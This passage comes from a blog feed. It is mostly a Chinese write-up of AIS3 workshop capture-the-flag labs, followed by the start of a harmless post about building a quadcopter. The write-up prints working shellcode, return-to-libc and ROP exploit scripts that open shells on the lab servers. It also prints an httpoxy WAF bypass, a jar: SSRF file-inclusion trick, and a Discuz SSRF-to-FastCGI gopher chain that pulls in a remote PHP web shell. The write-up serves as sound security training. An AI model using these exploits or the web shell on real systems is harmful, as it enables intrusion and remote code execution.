class="number">0</span>);</div><div class="line">    my_sandbox();   </div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Give me your shellcode:"</span>);</div><div class="line">    read(<span class="number">0</span>,shellcode,<span class="number">200</span>);</div><div class="line">    (*(<span class="keyword">void</span>(*)())shellcode)();</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這題就是執行我們輸入的shellcode<br>題目還說flag在/home/orw64/flag<br>就是個寫shellcode的練習</p>
<p>payload:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">host = <span class="string">"pwnhub.tw"</span></div><div class="line">port = <span class="number">11112</span></div><div class="line"></div><div class="line">r = remote(host, port)</div><div class="line">context.arch = <span class="string">"amd64"</span></div><div class="line"></div><div class="line">sc = asm(<span class="string">"""</span></div><div class="line">    xor rdi, rdi</div><div class="line">    xor rsi, rsi</div><div class="line">    xor rdx, rdx</div><div class="line">    jmp str</div><div class="line">open:</div><div class="line">    pop rdi</div><div class="line">    mov rax, 2</div><div class="line">    syscall</div><div class="line">read:</div><div class="line">    mov rdi, rax</div><div class="line">    mov rsi, rsp</div><div class="line">    mov rdx, 0x50</div><div class="line">    xor rax, rax</div><div class="line">    syscall</div><div class="line"></div><div class="line">    mov rdx, rax</div><div class="line">    mov rsi, rsp</div><div class="line">    mov rdi, 1</div><div class="line">    mov rax, 1</div><div class="line">    syscall</div><div class="line">exit:</div><div class="line">    mov rax, 60</div><div class="line">    syscall</div><div class="line">str:</div><div class="line">    call open</div><div class="line">    .ascii '/home/orw64/flag'</div><div class="line">    .byte 0</div><div class="line">""")</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(sc)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure></p>
<p><br></p>
<h2 id="lab2"><a href="#lab2" class="headerlink" title="lab2"></a>lab2</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"></div><div class="line"><span class="keyword">char</span> name[<span class="number">50</span>];</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Name:"</span>);</div><div class="line">    read(<span class="number">0</span>,name,<span class="number">50</span>);</div><div class="line">    <span class="keyword">char</span> buf[<span class="number">30</span>];</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Try your best:"</span>);</div><div class="line">    gets(buf);</div><div class="line">    <span class="keyword">return</span> ;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這題就是個沒開DEP，然後塞shellcode到name<br>再蓋return address成name的位址<br>就能執行shellcode的概念</p>
<p>payload:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">perl -e &apos;print &quot;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n&quot;,&quot;a&quot;x62, &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot;&apos;</div></pre></td></tr></table></figure></p>
<p>FLAG大概長這樣：<code>AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}</code></p>
<p><br></p>
<h2 id="lab3"><a href="#lab3" class="headerlink" title="lab3"></a>lab3</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">See_something</span><span class="params">(<span class="keyword">void</span> *addr)</span> </span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> *address ;</div><div class="line">    address = (<span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> *)addr ;</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"The content of the address : %p\n"</span>,*address);</div><div class="line">&#125;;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    <span class="keyword">char</span> address[<span class="number">10</span>] ;</div><div class="line">    <span class="keyword">char</span> message[<span class="number">256</span>];</div><div class="line">    <span class="keyword">unsigned</span> <span class="keyword">int</span> addr ;</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"###############################"</span>);</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"Do you know return to library ?"</span>);</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"###############################"</span>);</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"What do you want to see in memory?"</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Give me an address (in hex) :"</span>);</div><div class="line">    fflush(<span class="built_in">stdout</span>);</div><div class="line">    read(<span class="number">0</span>,address,<span class="number">10</span>);</div><div class="line">    addr = strtoll(address,<span class="number">0</span>,<span class="number">16</span>);</div><div class="line">    See_something(addr) ;</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Leave some message for me :"</span>);</div><div class="line">    fflush(<span class="built_in">stdout</span>);</div><div class="line">    gets(message);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"%s\n"</span>,message);</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"Thanks you ~"</span>);</div><div class="line">    <span class="keyword">return</span> <span class="number">0</span> ;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這題就是return to libc<br>可以先塞puts的got位址給他<br>他會讀出puts_got的值<br>我們就可以用puts_got - puts_offset算出base address<br>有base就輕鬆惹<br>system的位址 = base + system offset<br>再來參數塞/bin/sh的位址就能拿到shell了</p>
<p>然後64位元參數優先用register傳遞，跟32位元的stack抓參數不太一樣<br>所以我們要先找個pop rdi的gadget<br>把/bin/sh的位址pop到rdi裡<br>再跳到system位址才能拿到shell</p>
<p>payload:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line">puts_got = <span class="string">"601018"</span></div><div class="line">puts_off = <span class="number">0x6f690</span></div><div class="line">gets_off = <span class="number">0x6f440</span></div><div class="line">system_off = <span class="number">0x45390</span></div><div class="line">sh = <span class="number">0x4003c4</span></div><div class="line">pop_rdi = <span class="number">0x400843</span></div><div class="line">r = remote(<span class="string">'pwnhub.tw'</span>, <span class="number">8088</span>)</div><div class="line">r.send(puts_got + <span class="string">"\n"</span>)</div><div class="line">r.recvuntil(<span class="string">'The content of the address : '</span>)</div><div class="line">puts_addr = r.recvline()</div><div class="line">base = int(puts_addr,<span class="number">16</span>) - puts_off</div><div class="line">gets_addr = base + gets_off</div><div class="line">system_addr = base + system_off</div><div class="line">r.send(<span class="string">"A"</span>*<span class="number">280</span> + p64(pop_rdi) + p64(sh) + p64(system_addr) + p64(system_addr) + <span class="string">"\n"</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure></p>
<p>FLAG看起來長這樣：<code>AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}</code></p>
<p><br></p>
<h2 id="lab4"><a href="#lab4" class="headerlink" title="lab4"></a>lab4</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></div><div class="line"><span class="comment">//gcc -fno-stack-protector -static simplerop_revenge.c -o simplerop_revenge</span></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    <span class="keyword">char</span> buf[<span class="number">20</span>];</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"ROP is easy is'nt it ?"</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Your input :"</span>);</div><div class="line">    fflush(<span class="built_in">stdout</span>);</div><div class="line">    read(<span class="number">0</span>,buf,<span class="number">160</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這題就是要我們自己組ROP拿shell<br>一般來說這種靜態編譯都有很多ROP gadget<br>可以用工具ROPgadget –binary simplerop_revenge –ropchain<br>來幫我們自動組Gadget拿shell<br>但缺點就是可能太長塞不下，所以要手動組</p>
<p>payload:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">offset = <span class="number">40</span></div><div class="line"></div><div class="line">r = remote(<span class="string">'pwnhub.tw'</span>,<span class="number">8361</span>)</div><div class="line">context.arch = <span class="string">"amd64"</span></div><div class="line"></div><div class="line"><span class="comment"># flat([0x4000,0x36]) 等同 p64(0x4000)+p64(0x36)</span></div><div class="line">payload = <span class="string">'a'</span>*<span class="number">40</span></div><div class="line">mov_drdi_rsi = <span class="number">0x47a502</span></div><div class="line">pop_rdi = <span class="number">0x401456</span></div><div class="line">pop_rsi = <span class="number">0x401577</span></div><div class="line">pop_rax_rdx_rbx = <span class="number">0x478516</span></div><div class="line">syscall = <span class="number">0x4671b5</span></div><div class="line">buf = <span class="number">0x6c9a20</span></div><div class="line">rop = flat([pop_rdi, buf, pop_rsi, <span class="string">"/bin/sh\x00"</span>, mov_drdi_rsi,pop_rsi,<span class="number">0</span>,pop_rax_rdx_rbx,<span class="number">0x3b</span>,<span class="number">0</span>,<span class="number">0</span>,syscall])</div><div class="line"></div><div class="line">payload += rop</div><div class="line">r.sendline(payload)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure></p>
<p>FLAG大概長這樣：<code>AIS3{rop_Rop_Rop_then_RIP}</code></p>
<p><br></p>
<h2 id="lab5"><a href="#lab5" class="headerlink" title="lab5"></a>lab5</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">        <span class="keyword">char</span> buf[<span class="number">20</span>];</div><div class="line">        setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>);</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"Try your best :"</span>);</div><div class="line">        gets(buf);</div><div class="line">        <span class="built_in">puts</span>(<span class="string">"boom !"</span>); </div><div class="line">    &#125;</div></pre></td></tr></table></figure>
<p>這題題目爆幹短<br>思路大概是這樣，call puts_plt把puts_got的值輸出出來<br>然後一樣減掉puts_offset就能得到base address<br>接著可以再call一次main去構造我們的system(“/bin/sh”)</p>
<p>payload:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line">puts_got = <span class="number">0x601018</span></div><div class="line">puts_plt = <span class="number">0x4004e0</span></div><div class="line">puts_off = <span class="number">0x6f690</span></div><div class="line">system_off = <span class="number">0x45390</span></div><div class="line">sh_off = <span class="number">0x18c177</span>  <span class="comment">#c99f</span></div><div class="line">pop_rdi = <span class="number">0x4006f3</span></div><div class="line">main = <span class="number">0x400636</span></div><div class="line"></div><div class="line">r = remote(<span class="string">'pwnhub.tw'</span>, <span class="number">56026</span>)</div><div class="line"></div><div class="line">r.send(<span class="string">"A"</span>*<span class="number">40</span> + p64(main) + <span class="string">"\n"</span>)</div><div class="line">r.send(<span class="string">"A"</span>*<span class="number">40</span> + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + <span class="string">"\n"</span>)</div><div class="line">r.recvuntil(<span class="string">'boom !'</span>)</div><div class="line"><span class="keyword">print</span> r.recvline()</div><div class="line"><span class="keyword">print</span> r.recvline()</div><div class="line">tmp = r.recvline().strip()</div><div class="line"><span class="keyword">print</span> enhex(tmp)</div><div class="line"></div><div class="line">cool = input()  </div><div class="line"><span class="comment"># 這裏是因為我不知道怎把抓到的位址轉成值，所以直接手動輸入ㄏㄏ python好難QQ</span></div><div class="line"></div><div class="line">base = cool - puts_off</div><div class="line">base2 = cool - puts_off</div><div class="line">system = system_off + base2</div><div class="line">sh = sh_off + base</div><div class="line"></div><div class="line">r.send(<span class="string">"A"</span>*<span class="number">40</span> + p64(pop_rdi) + p64(sh) + p64(system) + p64(system) + <span class="string">"\n"</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure></p>
<p><br></p>
<h2 id="bonus"><a href="#bonus" class="headerlink" title="bonus"></a>bonus</h2><p>這題沒給source code<br>objdump出來長這樣：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line">./end:     file format elf64-x86-64</div><div class="line"></div><div class="line">Disassembly of section .text:</div><div class="line"></div><div class="line">00000000004000b0 &lt;_start&gt;:</div><div class="line">4000b0:   48 31 c0                xor    rax,rax</div><div class="line">4000b3: 48 31 db                xor    rbx,rbx</div><div class="line">4000b6:   48 31 c9                xor    rcx,rcx</div><div class="line">4000b9: 48 31 d2                xor    rdx,rdx</div><div class="line">4000bc:   48 31 ff                xor    rdi,rdi</div><div class="line">4000bf: 48 31 f6                xor    rsi,rsi</div><div class="line">4000c2:   4d 31 c0                xor    r8,r8</div><div class="line">4000c5: 4d 31 c9                xor    r9,r9</div><div class="line">4000c8:   4d 31 d2                xor    r10,r10</div><div class="line">4000cb: 4d 31 db                xor    r11,r11</div><div class="line">4000ce:   4d 31 e4                xor    r12,r12</div><div class="line">4000d1: 4d 31 ed                xor    r13,r13</div><div class="line">4000d4:   4d 31 f6                xor    r14,r14</div><div class="line">4000d7: 4d 31 ff                xor    r15,r15</div><div class="line">4000da:   48 31 ed                xor    rbp,rbp</div><div class="line">4000dd: e8 10 00 00 00          call   4000f2 &lt;_end&gt;</div><div class="line">4000e2:   b8 3c 00 00 00          mov    eax,0x3c</div><div class="line">4000e7: 48 31 ff                xor    rdi,rdi</div><div class="line">4000ea:   48 31 f6                xor    rsi,rsi</div><div class="line">4000ed: 48 31 d2                xor    rdx,rdx</div><div class="line">4000f0:   0f 05                   syscall </div><div class="line"></div><div class="line">00000000004000f2 &lt;_end&gt;:</div><div class="line">4000f2: 48 81 ec 28 01 00 00    sub    rsp,0x128</div><div class="line">4000f9:   48 89 e6                mov    rsi,rsp</div><div class="line">4000fc: ba 48 01 00 00          mov    edx,0x148</div><div class="line">400101:   0f 05                   syscall </div><div class="line">400103: 48 81 c4 28 01 00 00    add    rsp,0x128</div><div class="line">40010a:   c3                      ret</div></pre></td></tr></table></figure></p>
<p>這題關鍵就是要構造編號(rax)322的system call: stub_execveat<br>他跟execve一樣可以叫出shell，底層實作似乎一樣(我沒研究就是惹…<br>那要怎麼讓rax變成322呢…<br>很簡單，因為中間會call read讀資料，只要讀322 bytes<br>返回值rax就會等於322<br>接著我們輸入的時候一開始直接輸入/bin/sh\0<br>因為rsi(execveat的filename)原本就是輸入buffer的開頭，也就是/bin/sh，所以也不用特別處理<br>唯一要注意的是execveat的其他暫存器值要清成0才能work<br>在這題就是要把rdx清空才行((我一開始一直沒清，想說怎麼一直拿不到shell QQ<br>可以直接跳到0x4000ed的xor rdx, rdx就行，而且下一行就是syscall，讚讚</p>
<p>payload:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">perl -e &apos;print &quot;/bin/sh&quot;,&quot;\x00&quot;,&quot;\x0a\x01\x40\x00\x00\x00\x00\x00&quot;x38,&quot;\xed\x00\x40\x00\x00\x00\x00\x00&quot;,&quot;\xb0\xdd&quot;&apos;</div></pre></td></tr></table></figure></p>
<p>FLAG大概長這樣：<code>AIS3{r0p_is_e4sy_4nd_fUn}</code></p>
<p><br></p>
<h2 id="Bonus_-_HTTProxy"><a href="#Bonus_-_HTTProxy" class="headerlink" title="Bonus - HTTProxy"></a>Bonus - HTTProxy</h2><p>這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix)<br>然後HTTP_Proxy又會被許多http library當成Proxy用<br>所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php<br>內容為<code>&lt;?php echo &#39;ok&#39;; ?&gt;</code><br>接著<code>curl --header &#39;Proxy: x.x.x.x&#39; https://54.199.254.155/cgi-bin/?id=1</code><br>就能繞過waf惹，繞過之後直接對id做SQL injection就能拿到FLAG<br><code>hitcon{Did you know httpoxy.org?}</code></p>
<p><br></p>
<h2 id="Bonus_-_Jar"><a href="#Bonus_-_Jar" class="headerlink" title="Bonus - Jar"></a>Bonus - Jar</h2><p>這題有一個可以送出URL的地方<br>這裡可以SSRF，而且file://可以遍歷目錄<br>然後仔細觀察可以發現他有個<code>?page=orange</code>的參數<br>他會去load users/orange.tmp這個檔案</p>
<p>這題就是要利用到jar協議的特性<br>塞給他一個jar:形式的網址，他會去抓這個檔案做暫存，但是抓完就會刪除暫存<br>所以就是要想辦法塞給他惡意檔案，然後讓他抓完之後不立刻結束連線<br>再想辦法去跑這個暫存檔<br>這裡我是用<a href="https://github.com/pwntester/BlockingServer" target="_blank" rel="external">https://github.com/pwntester/BlockingServer</a><br>在機器x.x.x.x上新建kaibro.php<br>跑Blocking Server: <code>java BlokingServer 12345 kaibro.php</code><br>URL的地方塞<code>jar:http://x.x.x.x:12345/kaibro.php!/</code>讓它卡住<br>再來用<code>file:///tmp/</code>去看暫存檔的名字，可能檔名叫jar_cache123456.tmp之類的<br>然後利用<code>?page=../../../../../../tmp/jar_cache123456</code>就可以跑我們的php囉</p>
<p>FLAG長這樣：<code>hitcon{Life so hard :(}</code></p>
<h2 id="Bonus_-_Discuz_Pwn"><a href="#Bonus_-_Discuz_Pwn" class="headerlink" title="Bonus - Discuz Pwn"></a>Bonus - Discuz Pwn</h2><p>Discuz因為感覺會很難所以沒解，剩下其他題的話解法應該Google都找得到(?</p>
<p><br><br>Update:<br>後來太無聊，跑去架了一樣的Discuz環境打打看<br>基本上，orange上課的投影片就已經是解法了XDD</p>
<p>因為_dfsockopen實作中，有FOLLOWLOCATION<br>所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議</p>
<p>在我自己的Server上，建立一個302.php:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line">header( <span class="string">"Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00"</span> );</div></pre></td></tr></table></figure></p>
<p>這一整串噁心的東西，主要就是在偽造FastCGI協議<br>然後讓他去include我Server上的php script (<a href="http://kaibro.tw/x" target="_blank" rel="external">http://kaibro.tw/x</a>)</p>
<p>Server上的x:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span> system($_GET[<span class="string">'cmd'</span>]); <span class="meta">?&gt;</span></div></pre></td></tr></table></figure></p>
<p>然後訪問<code>http://thisdiscuzsite/forum.php?mod=ajax&amp;action=downremoteimg&amp;message=[img]http://kaibro.tw/302.php?.jpg[/img]</code><br>它就會成功include我們的x進來<br>也就可以執行webshell惹</p>
<p><br></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="https://i.imgur.com/jEhADhe.png width:70%" alt=""></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。<br>因為平台好像關惹，我也懶得重搞環境打一次<br>所以下面解法很多都是憑著印象打出來的，有錯請見諒</p>
<h2 id="lab1"><a href="#lab1" class="headerlink" title="lab1"></a>lab1</h2>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
      <category term="Pwn" scheme="http://blog.kaibro.tw/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[自組四軸初體驗]]></title>
    <link href="http://blog.kaibro.tw/2017/07/29/%E8%87%AA%E7%B5%84%E5%9B%9B%E8%BB%B8%E5%88%9D%E9%AB%94%E9%A9%97/"/>
    <id>http://blog.kaibro.tw/2017/07/29/自組四軸初體驗/</id>
    <published>2017-07-29T12:27:40.000Z</published>
    <updated>2017-08-02T14:15:57.000Z</updated>
    <content type="html"><![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>從以前就一直對四軸相當感興趣<br>覺得身為理工人應該要玩個四軸才對，而且不應該買套裝成品，應該要自己組XD<br>然後最近因為研究歐拉角、姿態等問題，讓我有了想自己買零件組裝的衝動。<br>可是稍微做一下功課發現，如果要組一台F450機架大小的四軸(含遙控器)，大概也至少要5000、6000以上。<br>於是我就忍痛賣掉一部分考研的書，賺了一些錢去某個沒屋頂賣場買了一組6500的套餐<br>但因為RX-701沒貨了，我就改買RX-601，老闆還因此只算我5000多而已，撿了一點便宜。</p>
<h2 id="u958B_u7BB1_u548C_u7D44_u88DD"><a href="#u958B_u7BB1_u548C_u7D44_u88DD" class="headerlink" title="開箱和組裝"></a>開箱和組裝</h2><p>以下的開箱和組裝過程，不會詳細講每一步驟<br>如果想更清楚了解組裝過程，可以參考我最下面的參考資料<br><br><br><a id="more"></a><br>下單後，等了好幾天<br>零件用一個大箱子寄來：<br><img src="http://i.imgur.com/tL1sqPE.jpg" alt="Imgur"><br><br><br>裡面的東西大概有這些：<br><img src="http://i.imgur.com/uwY1VZc.jpg" alt="Imgur"><br>有分電板、機臂、槳片、備用槳片、電變、馬達、遙控器、接收器、電池、GPS、飛空板等基本配備<br><br></p>
<p>遙控器用DEVO 7<br><img src="http://i.imgur.com/hovF6d4.jpg" alt="Imgur"><br><br></p>
<p>我用的飛控板是APM 2.8<br><img src="http://i.imgur.com/ZqFlNyz.jpg" alt="Imgur"><br><br></p>
<p>接著就開始把四個電變焊上分電板吧，要注意紅色代表正極，黑代表負，焊錯就掰惹<br><img src="http://i.imgur.com/m9cTe2l.jpg" alt="Imgur"><br><br></p>
<p>再來，分電板上還有一對正負極，這是拿來焊電源線的，就是之後會接電池供電的地方<br><img src="http://i.imgur.com/OLu3qsF.jpg" alt="Imgur"><br><br></p>
<p>然後要把馬達鎖在機臂上<br>四個機臂也要鎖在分電板上，機臂一般來說會有顏色，應該是到時候飛的時候可以辨別方向用的<br><img src="http://i.imgur.com/pkk4Q3A.jpg" alt="Imgur"><br><img src="http://i.imgur.com/BSDZFC7.jpg" alt="Imgur"><br><img src="http://i.imgur.com/820WrnR.jpg" alt="Imgur"><br><img src="http://i.imgur.com/YgaPbfW.jpg" alt="Imgur"><br><img src="http://i.imgur.com/Jc6WkZb.jpg" alt="Imgur"></p>
<p><br><br>都組裝好了會長下面這個樣子 (這邊我定義紅色這頭為前方)<br><img src="http://i.imgur.com/bMRs739.jpg" alt="Imgur"><br><br></p>
<p>再來，我們要開始把電變跟馬達焊在一起了<br>這裏很多網路上的教學都是先焊金插(香蕉頭)，這樣後面測試的時候會方便一點<br>(馬達旋轉方向不能亂設，如果方向錯了，把兩個接頭對調就行)<br>可是呢…<br>我懶得焊金插，手邊也沒金插，所以就直接先焊起來，錯了再解焊對調就好XD<br>(聽說這樣導電啥的也比較好)<br>那我們就要先整線，把電變的線從適合的孔穿出來<br><img src="http://i.imgur.com/htYkjYb.jpg" alt="Imgur"><br><br></p>
<p>焊完大概長這樣，電變整理好可以綁起來固定<br><img src="http://i.imgur.com/xObviYI.jpg" alt="Imgur"><br>不過熱縮套先不要吹死，因為像我剛剛說的，方向可能會錯，要解焊<br><br><br>那…馬達的方向，到底怎麼樣才是對的勒？<br>我們的機架是屬於X型的 (其他還有+型)<br>可以參考下面這張圖 (引用自魔豆窩)<br>每個馬達必須按照此圖規定的旋轉方向才行 (注意我定義的機頭方向為我的紅色兩個機臂夾的方向)<br><img src="http://cache.modouwo.com/cmsweb/aihao/Document/MoDouWo_Manual/Project1SetupImage/Project1SetupImage117.jpg" alt="引用自魔豆窩"><br><br></p>
<p>焊好之後，要怎麼知道馬達是哪個方向勒？<br>這邊我們就要開始接電了<br>這裏我會用到遙控器，但每台遙控器的基本設定都不太相同，這裏就略過惹<br>然後我們開始一個個測試馬達<br>先把電變的線接到接收器(我這個是RX-601)，他會接收來自遙控器的訊號<br>像下圖這樣，然後這個也有正、負、訊號的分別，不要接錯惹<br>(順便一提，這邊應該要接的是THRO)<br><img src="http://i.imgur.com/cIYg42W.jpg" alt="Imgur"><br>然後，我們接上電池，推推看遙控器的油門，它應該就會動惹<br>我們就可以觀察方向了<br><br></p>
